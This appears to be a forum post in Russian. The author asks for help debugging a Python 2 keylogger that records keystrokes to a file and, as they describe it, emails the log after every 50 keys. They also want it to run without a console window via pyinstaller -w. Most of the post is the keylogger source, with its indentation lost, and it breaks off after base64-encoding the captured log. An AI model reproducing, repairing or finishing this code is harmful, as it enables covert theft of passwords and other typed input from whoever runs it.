Просто написал следующий код для кейлогинга и отправил его по электронной почте.У меня есть 2 проблемы, с которыми я не смог разобраться: 1) я получаю сообщение об ошибке "имя 'событие' не определено" 2) когда я использую pyinstaller --onefile, он работает отлично и отправляет электронную почту после 50 нажатий клавиш, но когда ядобавить -w (без консоли) он будет отправлять только первые 50 нажатий клавиш.
points = 0
with open(file_log,'w+') as f:
print ""
f.close
def OnKeyboardEvent(event):
global points
points += 1
print points
if event.Ascii==5:
f=open(file_log,'r+')
f.close()
os.remove(file_log)
sys.exit(0)
if event.Ascii !=0 or 8:
f=open(file_log,'r+')
buffer=f.read()
f.close()
f=open(file_log,'w+')
keylogs=chr(event.Ascii)
#if press ENTER
if event.Ascii==13:
keylogs='\n'
if event.Ascii==32:
keylogs=' '
buffer+=keylogs
f.write(buffer)
f.close()
if points == 50: ## how may letters typed
points = 0
fo = open(file_log, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)